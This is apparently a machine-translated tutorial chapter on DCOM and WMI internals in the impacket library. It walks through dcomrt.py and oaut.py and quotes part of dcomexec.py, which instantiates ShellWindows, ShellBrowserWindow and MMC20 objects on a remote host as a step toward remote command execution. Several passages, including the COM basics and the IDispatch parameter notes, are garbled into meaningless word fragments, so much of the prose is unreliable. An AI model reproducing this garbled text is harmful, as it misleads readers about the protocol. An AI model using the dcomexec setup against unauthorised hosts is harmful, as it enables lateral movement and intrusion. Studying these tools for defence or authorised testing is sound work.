Part IV DCOM & WMI
Chapter 6 DCOM and WMI
6.1 DCOM Programming Basics
RPC is an inter-process communication protocol: it lets a program running on one machine call a subroutine in another address space (typically another machine on a shared network) as if it were a local call. DCOM is remote COM object invocation on top of that.




First, some keywords of DCOM programming.
- activation: in the DCOM protocol, the mechanism by which a client supplies the CLSID of an object class and obtains an object from that class, or from a class factory able to create such objects
- CID: every ORPC call carries one in the ORPCTHIS structure. A new ORPC call that continues an existing causality reuses that causality's CID; a call that starts a new causality gets a fresh CID. CIDs (causality identifiers) prevent deadlocks in ORPC calls.
- class factory: an object whose purpose is to create objects from a specific object class
- CLSID: the identifier of a DCOM/COM object class; the common CLSIDs below are exactly the static constants at the top of dcomrt.py
| Name | GUID | Purpose | Section |
|---|---|---|---|
| CLSID_ActivationContextInfo | {000001a5-0000-0000-c000-000000000046} | Activation property CLSID of ActivationContextInfoData | 2.2.22.2.5 |
| CLSID_ActivationPropertiesIn | {00000338-0000-0000-c000-000000000046} | OBJREF_CUSTOM unmarshaler CLSID of ActivationPropertiesIn | 3.1.2.5.2.3.23.1.2.5.2.3.3 |
| CLSID_ActivationPropertiesOut | {00000339-0000-0000-c000-000000000046} | OBJREF_CUSTOM unmarshaler CLSID of ActivationPropertiesOut | 3.1.2.5.2.3.23.1.2.5.2.3.3 |
| CLSID_CONTEXT_EXTENSION | {00000334-0000-0000-c000-000000000046} | ORPC_EXTENT identifier of the context (2) ORPC extension | 2.2.21.4 |
| CLSID_ContextMarshaler | {0000033b-0000-0000-c000-000000000046} | OBJREF_CUSTOM unmarshaler CLSID of context (2) | 2.2.20 |
| CLSID_ERROR_EXTENSION | {0000031c-0000-0000-c000-000000000046} | ORPC_EXTENT identifier of the error-information ORPC extension | 2.2.21.1 |
| CLSID_ErrorObject | {0000031b-0000-0000-c000-000000000046} | OBJREF_CUSTOM unmarshaler CLSID for error information | 2.2.21.2 |
| CLSID_InstanceInfo | {000001ad-0000-0000-c000-000000000046} | Activation property CLSID of InstanceInfoData | 2.2.22.2.3 |
| CLSID_InstantiationInfo | {000001ab-0000-0000-c000-000000000046} | Activation property CLSID of InstantiationInfoData | 2.2.22.2.1 |
| CLSID_PropsOutInfo | {00000339-0000-0000-c000-000000000046} | Activation property CLSID of PropsOutInfo | 2.2.22.2.9 |
| CLSID_ScmReplyInfo | {000001b6-0000-0000-c000-000000000046} | Activation property CLSID of ScmReplyInfoData | 2.2.22.2.8 |
| CLSID_ScmRequestInfo | {000001aa-0000-0000-c000-000000000046} | Activation property CLSID of ScmRequestInfoData | 2.2.22.2.4 |
| CLSID_SecurityInfo | {000001a6-0000-0000-c000-000000000046} | Activation property CLSID of SecurityInfoData | 2.2.22.2.7 |
| CLSID_ServerLocationInfo | {000001a4-0000-0000-c000-000000000046} | Activation property CLSID of LocationInfoData | 2.2.22.2.6 |
| CLSID_SpecialSystemProperties | {000001b9-0000-0000-c000-000000000046} | Activation property CLSID of SpecialPropertiesData | 2.2.22.2.2 |
| IID_IActivation | {4d9f4ab8-7d1c-11cf-861e-0020af6e7c57} | RPC interface UUID of IActivation | 3.1.2.5.2.1 |
| IID_IActivationPropertiesIn | {000001A2-0000-0000-C000-000000000046} | Value of the iid field of the pActProperties OBJREF | 3.1.2.5.2.3.23.1.2.5.2.3.3 |
| IID_IActivationPropertiesOut | {000001A3-0000-0000-C000-000000000046} | Value of the iid field of the ppActProperties OBJREF | 3.1.2.5.2.3.23.1.2.5.2.3.3 |
| IID_IContext | {000001c0-0000-0000-C000-000000000046} | Value of the iid field of the context structure. | 2.2.20 |
| IID_IObjectExporter | {99fcfec4-5260-101b-bbcb-00aa0021347a} | RPC interface UUID of IObjectExporter | 3.1.2.5.1 |
| IID_IRemoteSCMActivator | {000001A0-0000-0000-C000-000000000046} | RPC interface UUID of IRemoteSCMActivator | 3.1.2.5.2.2 |
| IID_IRemUnknown | {00000131-0000-0000-C000-000000000046} | RPC interface UUID of IRemUnknown | 3.1.1.5.6 |
| IID_IRemUnknown2 | {00000143-0000-0000-C000-000000000046} | RPC interface UUID of IRemUnknown2 | 3.1.1.5.7.1 |
| IID_IUnknown | {00000000-0000-0000-C000-000000000046} | RPC interface UUID of IUnknown | 3.1.1.5.8 |
- COM: an object-oriented programming model defining how objects interact within a process or across processes; in COM, clients access objects through interfaces implemented on the objects
For conceptual grounding in COM programming, see Lingjian's answer on Zhihu and a COM programming primer.
https://www.zhihu.com/question/49433640/answer/115952604
https://blog.51cto.com/u_15075510/3505281
In short: COM is a specification, not an implementation. Implemented in C++, a COM component is a C++ class implementing the corresponding COM interfaces, while a COM interface is a pure virtual (abstract) class deriving from IUnknown. The COM specification requires every component or interface to derive from IUnknown. IUnknown defines three important functions: QueryInterface, AddRef and Release — QueryInterface queries interfaces on the component object, AddRef increments and Release decrements the reference count. Reference counting is a cornerstone of COM, elegantly solving the object-lifecycle question (when a component is destroyed and by whom). The specification also requires every component to have a corresponding class factory — itself a COM component implementing IClassFactory; only inside IClassFactory::CreateInstance may new instantiate the component class.
COMgroup
+ COMgroup
COMgroupIUnknown
+ COMgroup
COM groupcan COM
+ COMgroup
comgroup
+ COMgroup
COMgroupregsvr32registry
DllGetClassObjectused for
DllCanUnloadNowcanCOMgroup
DllRegisterServerCOMgroupregistry
DllUnregisterServerdeletesregistryCOMgroupinformation
DLL entryDllMainused forreleases
DllMainDLL entryinLoadLibraryFreeLibrary
regsvr32 ComTest_Server.dll
COM group COM CoCreateInstance CLSID obtains COM groupobjectreturns IID_IUnknown QueryInterface IID obtainsmethodQueryInterface OUT returnstheobject
CoInitialize(NULL); // COM
// ...
IUnknown *pUnk = NULL;
IObject *pObj = NULL;
// groupobjectCLSID_XXX as COM group GUIDclass idreturns IID_IUnknown
HRESULT hr = CoCreateInstance(CLSID_XXX, NULL, CLSCTX_INPROC_SERVER, NULL, IID_IUnknown, (void **)&pUnk);
if (S_OK == hr)
{
// obtainsIID_XXX asgroup GUIDinterface id
hr = pUnk->QueryInterface(IID_XXX, (void **)&pObj);
if (S_OK == hr)
{
// method
pObj->DoXXX();
}
// releasesgroupobject
pUnk->Release();
}
// ...
// releases COM
CoUninitialize();
DCOM
object
MIDL
MIDL C++ group
in COM objector
thenIUnknown::QueryInterfacemethod
thenIUnknown::AddRefIUnknown::Releasemethod
method
or
CreateInstanceLockServermethod
ifIDispatch
ifor
- context: properties of an execution environment, or an association representing resources with a set of messages exchanged between client and server
- context identifier: the GUID identifying a context
- Dynamic endpoint: a network-specific server address requested and assigned at run time
- endpoint: the network-specific address of an RPC server process used for remote procedure calls. The actual name and type depend on the RPC protocol sequence in use — e.g. for RPC over TCP (ncacn_ip_tcp) the endpoint may be TCP port 1025; for RPC over SMB (ncacn_np), the name of a named pipe
- SPN: the name a client uses to identify a service for mutual authentication. An SPN has two or three slash-separated parts: service class, host name and (optionally) service name. For example "ldap/dc-01.fabrikam.com/fabrikam.com" is a three-part SPN — "ldap" is the service class, "dc-01.fabrikam.com" the host name, "fabrikam.com" the service name.
- envoy context: the context marshaled back to the client as a result of obtaining an object reference
- interface: the specification in a COM server describing how a class's methods are accessed
- IDL: Interface Definition Language, the syntax describing interfaces
- IID: the GUID identifying an interface
- object: in the [DCOM] protocol, an entity implementing one or more Object Remote Protocol (ORPC) interfaces, uniquely identified within an object exporter's scope by an object identifier (OID)
- IRemUnknown interface: an ORPC interface with methods to invoke QueryInterface, AddRef and Release on remote objects.
- IRemUnknown2 interface: an ORPC interface extending IRemUnknown.
- object exporter: the container of objects. Every object exporter instance must create an IPID entry for its IRemUnknown interface — and, if at COMVERSION 5.6 or higher, for IRemUnknown2 as well. It must create the IPID entries as follows:
- allocate an IPID and set it in the IPID entry.
- set the entry's IID to the IID of IRemUnknown or IRemUnknown2.
- instruct RPC to listen on IRemUnknown or IRemUnknown2, as specified in [C706] section 3.1.20 (rpc_server_register_if).
- set the entry's object pointer to the exporter's object implementing IRemUnknown / IRemUnknown2.
- set the entry's OID and OXID to the values obtained from the resolver.
- add the IPID entry to the IPID table.
- object class: in the DCOM protocol, a class of objects identified by a CLSID whose members are obtained via activation. An object class is usually associated with a set of common interfaces implemented by all its objects
inCOMcontainingmethodobjectorCOMobjectCOMobject
- object exporter ID (OXID): a 64-bit number uniquely identifying an object exporter within an object server
- OXID resolution: the process of obtaining the RPC binding information needed to communicate with an object exporter. The object resolver service implements the following RPC interfaces:
- IObjectExporter methods.
- IActivation: methods for creating objects and class factories.
- IRemoteSCMActivator: further methods for creating objects and class factories.
- object identifier (OID): the unique 64-bit number identifying an object
On the Internet or intranet, ORPC still uses standard RPC packets, with DCOM-specific additions — the interface pointer identifier (IPID), version information and extensions — carried as extra call/return parameters; the IPID identifies a specific interface of a specific object on the remote machine handling the call. DCOM clients must periodically ping remote objects to keep the connection alive.
- IPID (interface pointer identifier) table:
An IPID identifies one specific interface (interface pointer) on one specific object instance within one process.
A table of object interface entries keyed by IPID. Each entry must contain:
- the interface's IPID.
- the interface's IID.
- the object's OID.
- the object exporter's OXID.
- the public reference count of the object reference.
-
the private reference count of the object reference.
-
OXID table: entries for the object exporters known to the client, keyed by OXID. Each entry must contain:
-
the object exporter's OXID.
- the object exporter's RPC binding information.
- the IPID of the object exporter's IRemUnknown interface.
-
the object exporter's authentication-level hint.
-
OID table: entries for objects known to the client, keyed by OID. Each entry must contain:
-
the object's OID.
- the list of IPIDs of the object's interfaces.
- the object exporter's OXID.
- the implementation-defined hash of the STRINGBINDING of the saResAddr field contained in the STDOBJREF.
-
a Boolean garbage-collection flag that must be True if the object participates in ping; see the SORF_NOPING flag in section 2.2.18.2.
-
Resolver table: entries for object resolvers known to the client, keyed by STRINGBINDING hash. Each entry must contain:
-
a STRINGBINDING hash.
- the object resolver's DUALSTRINGARRAY.
- the SETID containing the object resolver's ping set identifier.
-
the object resolver's RPC binding information.
-
SETID table: entries for ping sets referenced by the client, keyed by SETID. Each entry must contain:
-
the ping set's SETID.
- the list of OIDs in the ping set.
-
a sequence number
-
Object reference: in the DCOM protocol, a reference to an object, represented on the wire as an OBJREF. It allows the object to be reached by entities outside the object's own object exporter.
-
OBJREF: the marshaled form of an object reference.
onobjectobjectgrouponclienton flagobjectIIDobjectinformation OBJREF clientclientobjectgroup OBJREF containingininformation OXIDOXID client OBJREF COM groupasclientinonmethodstubserverobject

- OXID resolution:
- It stores the RPC string bindings needed to connect to remote objects and hands them to local clients.
- It sends ping messages to remote objects for which the local machine still holds client references, and receives pings for objects running on the local machine. This duty of the OXID resolver underpins COM garbage collection.
6.2 dcomrt.py — DCOM Runtime (DCOMConnection / INTERFACE / IActivation)
With the groundwork laid, on to the dcomrt module: the file opens with the CLSID constants of common DCOM classes and the error-handling functions, followed by the data structures and flag values used in DCOM communication (the ORPC protocol).
Next come the context handle class and the DCOM protocol version class:
class handle_t(NDRSTRUCT):
......
class COMVERSION(NDRSTRUCT):
.....
class PCOMVERSION(NDRPOINTER):
.....
Then the structures for binary large objects (BLOBs), data encoding, activation, OXID resolution and remote-object creation:
class ORPC_EXTENT(NDRSTRUCT):
....
class BYTE_ARRAY(NDRUniConformantArray):
....
class OBJREF(NDRSTRUCT):
....
Then the DCOM connection class, with which you establish the DCOM connection, create remote objects, and ping the server:
class DCOMConnection:
"""
This class represents a DCOM Connection. It is in charge of establishing the
DCE connection against the portmap, and then launch a thread that will be
pinging the objects created against the target.
In theory, there should be a single instance of this class for every target
"""
PINGTIMER = None
OID_ADD = {}
OID_DEL = {}
OID_SET = {}
PORTMAPS = {}
def __init__(self, target, username='', password='', domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None,
authLevel=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, oxidResolver=False, doKerberos=False, kdcHost=None):
self.__target = target
self.__userName = username
self.__password = password
self.__domain = domain
self.__lmhash = lmhash
self.__nthash = nthash
self.__aesKey = aesKey
self.__TGT = TGT
self.__TGS = TGS
self.__authLevel = authLevel
self.__portmap = None
self.__oxidResolver = oxidResolver
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.initConnection()
.....
def pingServer(cls):
......
def CoCreateInstanceEx(self, clsid, iid):
......
The ORPCTHIS instance class.
The ORPCTHIS structure is the first (implicit) parameter sent in ORPC request PDUs, used to carry ORPC extension data to the server; it is also sent as an explicit parameter in activation RPC requests.
typedef struct tagORPCTHIS {
COMVERSION version;
unsigned long flags;
unsigned long reserved1;
CID cid;
[unique] ORPC_EXTENT_ARRAY* extensions;
} ORPCTHIS;
ORPCTHIS is mainly used to build the RPC activation request:
classInstance = CLASS_INSTANCE(ORPCthis, stringBindings)
return IRemUnknown2(INTERFACE(classInstance, b''.join(resp['ppInterfaceData'][0]['abData']), ipidRemUnknown,target=self.__portmap.get_rpc_transport().getRemoteHost()))
The INTERFACE class.
Initializes the parameters required for interface communication:
if interfaceInstance is not None:
self.__target = interfaceInstance.get_target()
self.__iPid = interfaceInstance.get_iPid()
self.__oid = interfaceInstance.get_oid()
self.__oxid = interfaceInstance.get_oxid()
self.__cinstance = interfaceInstance.get_cinstance()
self.__objRef = interfaceInstance.get_objRef()
self.__ipidRemUnknown = interfaceInstance.get_ipidRemUnknown()
The process_interface function handles the marshaled form of the object-reference packet.
The connect function's logic:
- If connection information is already stored, it reuses the current thread's connection for that target/OXID and binds the remote RPC interface for the requested iid via alter_ctx;
- If no oxid connection exists, it parses the binding address, binds the interface through the DCERPC factory class to establish a TCP connection, sets the credentials and Kerberos information, and stores the connection.
def connect(self, iid = None):
if (self.__target in INTERFACE.CONNECTIONS) is True:
if current_thread().name in INTERFACE.CONNECTIONS[self.__target] and \
(self.__oxid in INTERFACE.CONNECTIONS[self.__target][current_thread().name]) is True:
dce = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce']
currentBinding = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding']
if currentBinding == iid:
# We don't need to alter_ctx
pass
else:
newDce = dce.alter_ctx(iid)
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = newDce
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid
else:
stringBindings = self.get_cinstance().get_string_bindings()
# No OXID present, we should create a new connection and store it
stringBinding = None
isTargetFQDN = self.is_fqdn()
.....
.....
if binding.upper().find(self.get_target().upper()) >= 0:
stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1] .....
The IRemUnknown remote-unknown interface class.
Implements three methods: RemQueryInterface (query interfaces by IPID), RemAddRef and RemRelease.
The IObjectExporter class.
Implements the ObjectExporter — resolving OXID, pinging and checking ServerAlive:
def ResolveOxid(self, pOxid, arRequestedProtseqs):
....
def SimplePing(self, setId):
....
def ServerAlive(self):
....
The IActivation activation class.
IActivation is the RPC interface (not a COM interface; older literature calls it IRemoteActivation) exposed by the Service Control Manager (SCM). The SCM runs on every machine as RPCSS.EXE. IActivation has a single method, RemoteActivation:
error_status_t RemoteActivation(
[in] handle_t hRpc,
[in] ORPCTHIS* ORPCthis,
[out] ORPCTHAT* ORPCthat,
[in] GUID* Clsid,
[in, string, unique] wchar_t* pwszObjectName,
[in, unique] MInterfacePointer* pObjectStorage,
[in] DWORD ClientImpLevel,
[in] DWORD Mode,
[in, range(1, MAX_REQUESTED_INTERFACES)]
DWORD Interfaces,
[in, unique, size_is(Interfaces)]
IID* pIIDs,
[in, range(0, MAX_REQUESTED_PROTSEQS)]
unsigned short cRequestedProtseqs,
[in, size_is(cRequestedProtseqs)]
unsigned short aRequestedProtseqs[],
[out] OXID* pOxid,
[out] DUALSTRINGARRAY** ppdsaOxidBindings,
[out] IPID* pipidRemUnknown,
[out] DWORD* pAuthnHint,
[out] COMVERSION* pServerVersion,
[out] HRESULT* phr,
[out, size_is(Interfaces), disable_consistency_check]
MInterfacePointer** ppInterfaceData,
[out, size_is(Interfaces), disable_consistency_check]
HRESULT* pResults
);
It is designed to activate COM objects on remote machines — a very powerful capability that plain RPC does not provide. Through it, the SCM on one machine contacts the SCM on another and asks it to activate an object: the client machine's SCM calls the server SCM's IRemoteActivation::RemoteActivation, asking it to activate the object identified by the CLSID (the method's fourth parameter). RemoteActivation returns a marshaled interface pointer to the activated object plus two special values: the interface pointer identifier (IPID) and the object exporter identifier (OXID). Every supported network protocol has a well-known SCM port, each identifying a virtual communication channel based on that protocol. Classic DCOM texts record port 1066 for TCP/UDP and \pipe\mypipe for named pipes; on modern Windows, RPC endpoints are actually resolved dynamically by the endpoint mapper (TCP 135). The protocols commonly used by the SCM follow.
| Constant/value | Description |
|---|---|
| ncacn_nb_tcpConnection-oriented NetBIOS over Transmission Control Protocol (TCP) | Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT |
| ncacn_nb_ipxConnection-oriented NetBIOS over Internet Packet Exchange (IPX) | Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT |
| ncacn_nb_nbConnection-oriented NetBIOS Enhanced User Interface (NetBEUI) | Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT, Windows Me, Windows 98, Windows 95 |
| ncacn_ip_tcpConnection-oriented Transmission Control Protocol/Internet Protocol (TCP/IP) | Client only: MS-DOS, Windows 3.x, and Apple Macintosh Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT, Windows Me, Windows 98, Windows 95 |
| ncacn_npConnection-oriented named pipes | Client only: MS-DOS, Windows 3.x, Windows 95 Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT |
| ncacn_spxConnection-oriented Sequenced Packet Exchange (SPX) | Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT, Windows Me, Windows 98, Windows 95 |
| ncacn_dnet_nspConnection-oriented DECnet transport | Client only: MS-DOS, Windows 3.x |
| ncacn_at_dspConnection-oriented AppleTalk DSP | Client: Apple Macintosh Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT |
| ncacn_vns_sppConnection-oriented Vines scalable parallel processing (SPP) transport | Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT |
| ncadg_ip_udpDatagram (connectionless) User Datagram Protocol/Internet Protocol (UDP/IP) | Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT |
| ncadg_ipxDatagram (connectionless) IPX | Client only: MS-DOS, Windows 3.x Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT |
| ncadg_mqDatagram (connectionless) over the Microsoft Message Queue Server (MSMQ) | Client only: Windows Me/98/95 Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT Server 4.0 with SP3 and later |
| ncacn_httpConnection-oriented TCP/IP using Microsoft Internet Information Server as HTTP proxy | Client only: Windows Me/98/95 Client and Server: Windows Server 2003, Windows XP, Windows 2000 |
| ncalrpcLocal procedure call | Client and Server: Windows Server 2003, Windows XP, Windows 2000, Windows NT, Windows Me, Windows 98, Windows 95 |
The function's implementation and parameters:
def RemoteActivation(self, clsId, iid):
# Only supports one interface at a time
self.__portmap.bind(IID_IActivation)
ORPCthis = ORPCTHIS() # ORPCthismustas null
ORPCthis['cid'] = generate()
ORPCthis['extensions'] = NULL
ORPCthis['flags'] = 1
request = RemoteActivation()
request['Clsid'] = clsId # specifiedobject CLSID
request['pwszObjectName'] = NULL # used forobject
request['pObjectStorage'] = NULL # used forobject objref
request['ClientImpLevel'] = 2 # theinis
request['Mode'] = 0 # as 0xFFFFFFFFthenas 0
request['Interfaces'] = 1 # pIID
_iid = IID()
_iid['Data'] = iid
request['pIIDs'].append(_iid) # objecton id group
request['cRequestedProtseqs'] = 1 # aRequestedProtseqs mustin 1 MAX_REQUESTED_PROTSEQS
request['aRequestedProtseqs'].append(7) # client RPC
resp = self.__portmap.request(request)
# Now let's parse the answer and build an Interface instance
ipidRemUnknown = resp['pipidRemUnknown'] # object output IRemUnknown IPID
Oxids = b''.join(pack('<H', x) for x in resp['ppdsaOxidBindings']['aStringArray']) # object exporter OXID
strBindings = Oxids[:resp['ppdsaOxidBindings']['wSecurityOffset']*2]
securityBindings = Oxids[resp['ppdsaOxidBindings']['wSecurityOffset']*2:]
done = False
stringBindings = list()
while not done:
if strBindings[0:1] == b'\x00' and strBindings[1:2] == b'\x00':
done = True
else:
binding = STRINGBINDING(strBindings) # object outputwithnotas NULLcontaining
stringBindings.append(binding)
strBindings = strBindings[len(binding):]
done = False
while not done:
if len(securityBindings) < 2:
done = True
elif securityBindings[0:1] == b'\x00' and securityBindings[1:2 ]== b'\x00':
done = True
else:
secBinding = SECURITYBINDING(securityBindings)
securityBindings = securityBindings[len(secBinding):]
classInstance = CLASS_INSTANCE(ORPCthis, stringBindings)
return IRemUnknown2(INTERFACE(classInstance, b''.join(resp['ppInterfaceData'][0]['abData']), ipidRemUnknown,
target=self.__portmap.get_rpc_transport().getRemoteHost()))
The IRemoteSCMActivator remote-SCM activation class.
Implements RemoteGetClassObject and RemoteCreateInstance.
Clients use RemoteGetClassObject (Opnum 3) to create an object reference to a class factory object.
HRESULT RemoteGetClassObject(
[in] handle_t rpc,
[in] ORPCTHIS* orpcthis,
[out] ORPCTHAT* orpcthat,
[in, unique] MInterfacePointer* pActProperties,
[out] MInterfacePointer** ppActProperties
);
Clients use RemoteCreateInstance (Opnum 4) to create an object reference to an actual object.
HRESULT RemoteCreateInstance(
[in] handle_t rpc,
[in] ORPCTHIS* orpcthis,
[out] ORPCTHAT* orpcthat,
[in, unique] MInterfacePointer* pUnkOuter,
[in, unique] MInterfacePointer* pActProperties,
[out] MInterfacePointer** ppActProperties
);
MInterfacePointer is an NDR encapsulated structure:
typedef struct tagMInterfacePointer {
unsigned long ulCntData;
[size_is(ulCntData)] byte abData[];
} MInterfacePointer;
ulCntData: must specify the size of abData in bytes.
Because impacket's WMI functionality rides on DCOM, dcomrt is used mainly to establish the DCOM connection in wmiquery, wmiexec and dcomexec.
Afterwards COM components such as ShellWindows / ShellBrowserWindow are invoked for command execution and shells:
# eg.examples/dcomexec.py
from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
.......
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
dispParams = DISPPARAMS(None, False)
dispParams['rgvarg'] = NULL
dispParams['rgdispidNamedArgs'] = NULL
dispParams['cArgs'] = 0
dispParams['cNamedArgs'] = 0
if self.__dcomObject == 'ShellWindows':
# ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Item',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
resp = iItem.GetIDsOfNames(('Document',))
resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = None
elif self.__dcomObject == 'ShellBrowserWindow':
# ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
elif self.__dcomObject == 'MMC20':
iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
iMMC = IDispatch(iInterface)
resp = iMMC.GetIDsOfNames(('Document',))
resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
else:
logging.fatal('Invalid object %s' % self.__dcomObject)
return
6.3 dcom submodules
6.3.1 [MS-OAUT] oaut.py
OLE Automation is part of Microsoft's OLE 2.0 architecture. With it, an application — whatever language it is written in — can expose properties and methods on OLE Automation objects, which other applications (e.g. SQL Server or Microsoft Exchange) can use to integrate those objects. The application exposing the properties and methods is the OLE Automation server (or object); the application accessing them is the OLE Automation controller. For example, MSSQL can enable OLE Automation Procedures via sp_configure and instantiate OLE Automation objects inside Transact-SQL batches. An OLE Automation server is a COM component (object) implementing the OLE IDispatch interface; the controller is a COM client communicating through IDispatch. COM is the foundation of OLE.
The core of OLE Automation is IDispatch; the call flow:

IDispatch::GetIDsOfNames responds with the DISPID of the method you want to invoke; if you already know the id you can invoke directly:

Common interface ids follow:
| Constant/Value | Description |
|---|---|
| CLSID_RecordInfo{0000002F-0000-0000-C000-000000000046} | OBJREF_CUSTOM unmarshaler CLSID of RecordInfoData (see section 2.2.31). |
| IID_IRecordInfo{0000002F-0000-0000-C000-000000000046} | Value of the IID field of the pRecInfo OBJREF structure (see 2.2.28.2.1). |
| IID_IDispatch{00020400-0000-0000-C000-000000000046} | The GUID associated with the IDispatch interface (see section 3.1). |
| IID_ITypeComp{00020403-0000-0000-C000-000000000046} | GUID associated with the ITypeComp interface (see section 3.5). |
| IID_ITypeInfo{00020401-0000-0000-C000-000000000046} | GUID associated with the ITypeInfo interface (see section 3.7). |
| IID_ITypeInfo2{00020412-0000-0000-C000-000000000046} | GUID associated with the ITypeInfo2 interface (see section 3.9). |
| IID_ITypeLib{00020402-0000-0000-C000-000000000046} | GUID associated with the ITypeLib interface (see section 3.11). |
| IID_ITypeLib2{00020411-0000-0000-C000-000000000046} | GUID associated with the ITypeLib2 interface (see section 3.13). |
| IID_IUnknown{00000000-0000-0000-C000-000000000046} | GUID associated with the IUnknown interface. |
| IID_IEnumVARIANT{00020404-0000-0000-C000-000000000046} | GUID associated with the IEnumVARIANT interface (see section 3.3). |
| IID_NULL{00000000-0000-0000-0000-000000000000} | GUID identifying the NULL value (as specified in [C706] section A1 nil UUID). |
The methods implemented by the IDispatch class in the module:
GetTypeInfoCount serverinformation
GetTypeInfo serverinformation
GetIDsOfNames namemethodornamegroupnamegroupDISPIDsused forIDispatch::Invoke
Invoke servermethod
HRESULT GetIDsOfNames(
[in] REFIID riid,
must IID_NULL
[in, size_is(cNames)] LPOLESTR* rgszNames
mustgroupgroupmustspecifiedservermethodornamemustcontainingspecifiedmethodorallnamemustnot
[in, range(0,16384)] UINT cNames,
mustnamemust 0 16384
[in] LCID lcid,
mustnamedomainsets ID
[out, size_is(cNames)] DISPID* rgDispId
mustserver DISPID group DISPID rgszNamesname
ifsetsas 0thenthemethod
ifsetsas 1 HRESULT DWORD withnotthen
ifsetsas 1 HRESULT DWORD withthen
);
HRESULT Invoke(
[in] DISPID dispIdMember,mustmethodorDISPID
[in] REFIID riid,must IID_NULL
[in] LCID lcid,mustserverdomainsets ID
[in] DWORD dwFlags,mustspecifiedgroup
[in] DISPPARAMS* pDispParams,
must methodDISPPARAMSmustpDispParams->rgvarggroupByref mustinthisgroupas VT_EMPTY asinrgVarRef
[out] VARIANT* pVarResult,paddingmethodor VARIANT
[out] EXCEPINFO* pExcepInfo,ifthenotasreturnsas DISP_E_EXCEPTIONthenthemustserverpaddingthenmustasscode wCodespecified 0 mustin
[out] UINT* pArgErr,ifthisnotasreturnsas DISP_E_TYPEMISMATCH or DISP_E_PARAMNOTFOUNDthenthismust pDispParams->rgvarg thenmustthe
[in] UINT cVarRef,mustpDispParams byref
[in, size_is(cVarRef)] UINT* rgVarRefIdx,mustcontaining cVarRef pDispParams->rgvarg as VT_EMPTY byref
[in, out, size_is(cVarRef)] VARIANT* rgVarRef mustcontainingclientinsets byref andreturnsserversetsthisgroupmust byref ingroup
);
| Value | Meaning |
|---|---|
| DISPATCH_METHOD 0x00000001 | The member is invoked as a method. |
| DISPATCH_PROPERTYGET0x00000002 | The member is retrieved as a property or data member. |
| DISPATCH_PROPERTYPUT0x00000004 | The member is changed as a property or data member. |
| DISPATCH_PROPERTYPUTREF0x00000008 | The member is changed by reference assignment rather than value assignment. Valid only when the property accepts a reference to an object. |
| DISPATCH_zeroVarResult0x00020000 | Specifies that the client is not interested in the actual pVarResult [out] parameter. On return, pVarResult must point to a VT_EMPTY variant with all reserved fields zero. |
| DISPATCH_zeroExcepInfo0x00040000 | Specifies that the client is not interested in the actual pExcepInfo [out] parameter. On return, pExcepInfo must point to an EXCEPINFO with all scalar fields zero and all BSTR fields NULL. |
| DISPATCH_zeroArgErr0x00080000 | Specifies that the client is not interested in the actual pArgErr [out] parameter. On return, pArgErr must be set to 0. |
The core methods are Invoke and GetIDsOfNames:
def GetIDsOfNames(self, rgszNames, lcid = 0):
request = IDispatch_GetIDsOfNames()
request['riid'] = IID_NULL
for name in rgszNames:
tmpName = LPOLESTR()
tmpName['Data'] = checkNullString(name)
request['rgszNames'].append(tmpName)
request['cNames'] = len(rgszNames)
request['lcid'] = lcid
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
IDs = list()
for id in resp['rgDispId']:
IDs.append(id)
return IDs
def Invoke(self, dispIdMember, lcid, dwFlags, pDispParams, cVarRef, rgVarRefIdx, rgVarRef):
request = IDispatch_Invoke()
request['dispIdMember'] = dispIdMember
request['riid'] = IID_NULL
request['lcid'] = lcid
request['dwFlags'] = dwFlags
request['pDispParams'] = pDispParams
request['cVarRef'] = cVarRef
request['rgVarRefIdx'] = rgVarRefIdx
